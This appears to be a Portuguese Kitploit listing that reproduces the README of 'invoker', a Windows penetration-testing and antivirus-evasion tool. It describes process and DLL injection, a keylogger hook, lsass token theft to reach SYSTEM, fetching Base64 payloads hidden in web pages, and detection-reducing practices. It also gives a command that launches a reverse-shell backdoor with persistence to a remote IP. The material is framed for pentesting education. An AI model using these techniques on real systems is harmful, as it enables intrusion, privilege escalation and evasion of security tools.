Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
invoker — Ferramenta de teste de penetração e avaliação de antivírus. | Kitploit
Ferramentas/GitHubGitHub/ivan-sincek/invoker
Escalada de PrivilégiosForensia de MemóriaExploraçãoPós-ExploraçãoTestes de PenetraçãoAnálise de BináriosAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsArchived
GitHubivan-sincek/invoker

invoker

Ferramenta de teste de penetração e avaliação de antivírus.

31282há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Invoker

Ferramenta de teste de penetração e avaliação de antivírus.

Construído com Visual Studio Community 2022 v17.5.4 (64-bit) e testado no Windows 10 Enterprise OS (64-bit).

Feito para fins educacionais. Espero que ajude!

Este repositório começou a ter assinaturas conhecidas e não tenho tempo para enviar novos executáveis a cada vez, então você deve compilar este projeto você mesmo.

Sites úteis:

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

A fazer:

  • tornar o process ghosting compatível com arquitetura x86 porque NtCreateProcessEx não funciona bem com processos de 32 bits.

Planos futuros:

  • process hollowing,
  • process doppelgänging,
  • process herpaderping,
  • process ghosting,
  • mais invocações de proxy de DLL,
  • COM hijacking,
  • script Python3 para ofuscar estaticamente todo o código-fonte.

Coisas que tenho em mente ao codificar:

  • simplificar tudo,
  • usar alocações dinâmicas em vez de alocações estáticas, (às vezes)
  • usar direitos de acesso e sinalizadores de controle mínimos necessários,
  • tratar/capturar possíveis erros/exceções,
  • zerar e liberar arrays e memória após o uso,
  • fechar corretamente handles/streams abertos após o uso,
  • decrementar a contagem de referência de bibliotecas, objetos e similares após o uso,
  • chamar o garbage cleaner antes de sair. (não aplicável)

Tudo isso resultará em seu PE tendo tamanho menor e menor taxa de detecção.

Índice

  • Biblioteca Invoker
  • Como Executar
  • Injeção de Bytecode
  • Gerar um Payload de Reverse Shell
  • PowerShell
  • Chamadas Diretas ao Sistema
  • Criar uma DLL com um Procedimento de Hook
  • Obter a Conta LocalSystem (NT AUTHORITY\SYSTEM)
  • Imagens

Biblioteca Invoker

Recursos:

  • invocar os shells do sistema,
  • fazer chamadas diretas ao sistema,
  • usar Windows Management Instrumentation (WMI),
  • conectar a um host remoto,
  • encerrar um processo em execução,
  • executar um novo processo,
  • despejar a memória de um processo,
  • adulterar a imagem executável de um processo,
  • injetar bytecode em um processo,
  • injetar DLL em um processo,
  • listar DLLs carregadas de um processo,
  • invocar sequestro de DLL,
  • instalar um procedimento de hook,
  • habilitar privilégios de token de acesso,
  • duplicar o token de acesso de um processo e executar um novo processo,
  • baixar um arquivo,
  • adicionar/editar uma chave do registro,
  • agendar uma tarefa,
  • listar caminhos de serviço sem aspas e iniciar, parar ou reiniciar um serviço,
  • substituir vários arquivos do System32.

Veja a biblioteca Invoker aqui. Sinta-se à vontade para usá-la!


Alguns recursos podem exigir privilégio administrativo.

Alguns recursos podem não funcionar no Windows XP e anteriores devido a alguns direitos de acesso e sinalizadores de controle específicos usados.

Como Executar

Execute Invoker_x86.exe (32-bit) ou Invoker_x64.exe (64-bit).

Para automatizar o backdoor de reverse shell enquanto adiciona persistência, execute o seguinte comando:

root@kitploit:~
Invoker_x64.exe 192.168.8.5:9000

Invoker de 32 bits pode:

  • fazer chamadas diretas ao sistema,
  • despejar a memória de um processo de 32 bits,
  • adulterar e injetar a imagem executável de um processo de 32 bits em um processo de 32 bits,
  • adulterar e injetar a imagem executável de um processo de 64 bits em um processo de 64 bits,
  • injetar bytecode de 32 bits em um processo de 32 bits,
  • injetar DLL de 32 bits em um processo de 32 bits,
  • listar DLLs carregadas de um processo de 32 bits,
  • instalar um procedimento de hook a partir de uma DLL de 32 bits.

Invoker de 64 bits pode:

  • fazer chamadas diretas ao sistema,
  • despejar a memória de um processo de 32 bits,
  • despejar a memória de um processo de 64 bits,
  • adulterar e injetar a imagem executável de um processo de 32 bits em um processo de 32 bits,
  • adulterar e injetar a imagem executável de um processo de 64 bits em um processo de 64 bits,
  • injetar bytecode de 32 bits em um processo de 32 bits,
  • injetar bytecode de 64 bits em um processo de 64 bits,
  • injetar DLL de 32 bits em um processo de 32 bits,
  • injetar DLL de 64 bits em um processo de 64 bits,
  • listar DLLs carregadas de um processo de 32 bits,
  • listar DLLs carregadas de um processo de 64 bits.
  • instalar um procedimento de hook a partir de uma DLL de 32 bits,
  • instalar um procedimento de hook a partir de uma DLL de 64 bits.

Observe que cada técnica de injeção tem prós e contras; por exemplo, algumas técnicas exigem menos direitos de acesso, usam métodos menos suspeitos, etc., mas podem, por exemplo, travar o processo, precisar de tempo e outras condições especiais para executar o payload, etc.

Observe que alguns implants C2C podem não funcionar após liberar a memória. Nesse caso, comente métodos como VirtualFreeEx, NtFreeVirtualMemory, etc.

Injeção de Bytecode

Eleve privilégios injetando bytecode em um processo de privilégio mais alto.

Esta ferramenta pode baixar o conteúdo de um arquivo binário na memória e injetá-lo em um processo em execução. Ela também pode analisar uma resposta HTTP e extrair o payload de um elemento personalizado, por exemplo, de <invoker>payload</invoker> onde payload é um código binário codificado em Base64.

Veja o exemplo em pastebin.com/raw/xf9Trt0d.

Isso é útil se o antivírus está constantemente deletando seus payloads locais.

Veja um exemplo adicional em pastebin.com/raw/iW17rCxH - payload oculto no elemento de imagem.

P.S. Os bytecodes fornecidos certamente não funcionarão para você.

Use ngrok para dar ao seu servidor web local um endereço público.


Para ver se um processo é de 32 ou 64 bits, abra o Gerenciador de Tarefas -> clique em Mais detalhes -> vá na guia Detalhes -> clique com o botão direito em qualquer coluna -> clique em Selecionar colunas -> marque a caixa Plataforma.

Para ver se um processo está sendo executado com privilégio administrativo, marque a caixa Elevado.

Gerar um Payload de Reverse Shell

Descubra como gerar um payload de reverse shell no meu outro projeto, bem como configurar listeners Ncat e multi/handler.

A injeção de bytecode pode falhar porque o bytecode pode ter caracteres ruins, função de saída errada ou codificação; a injeção de DLL é mais confiável.

PowerShell

Se desejar executar um reverse shell ou bind shell do PowerShell a partir do Invoker, abra o Invoker e inicie uma sessão do PowerShell, então execute qualquer um dos one-liners (do meu outro projeto).

Chamadas Diretas ao Sistema

A biblioteca e o assembly de chamadas diretas ao sistema foram gerados com SysWhispers2. Créditos ao autor!

Para gerar a mesma biblioteca e assembly, execute o seguinte comando no console de sua preferência:

root@kitploit:~
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

Veja meu wrapper em torno da biblioteca e assembly aqui. Sinta-se à vontade para usá-lo!

Criar uma DLL com um Procedimento de Hook

Veja a DLL simples com um procedimento de hook aqui. O procedimento de hook invocará uma caixa de mensagem a cada fechamento de janela.

Veja o procedimento de hook de teclado (i.e., keylogger) aqui.

Veja o procedimento de hook de mouse que executará um novo processo no primeiro clique do mouse aqui.

Não se esqueça de remover todos os artefatos criados após terminar os testes, por exemplo, remova keylogger.log, etc.

Obter a Conta LocalSystem (NT AUTHORITY\SYSTEM)

Siga estes passos simples:

  1. Execute o Invoker como administrador.
  2. Habilite todos os privilégios de token de acesso.
  3. Duplique o token de acesso de, por exemplo, Local Security Authority Subsystem Service (lsass.exe) e execute uma nova instância do Invoker.
  4. Dentro da nova instância do Invoker, abra o Prompt de Comando e execute whoami, você agora deve ver nt authority\system.
  5. Habilite todos os privilégios de token de acesso novamente.
  6. Feche a instância antiga do Invoker.

Imagens

Invoker

Figura 1 - Invoker

Injeção de Bytecode

Figura 2 - Injeção de Bytecode

Privilégios Elevados

Figura 3 - Privilégios Elevados

Baixar ferramenta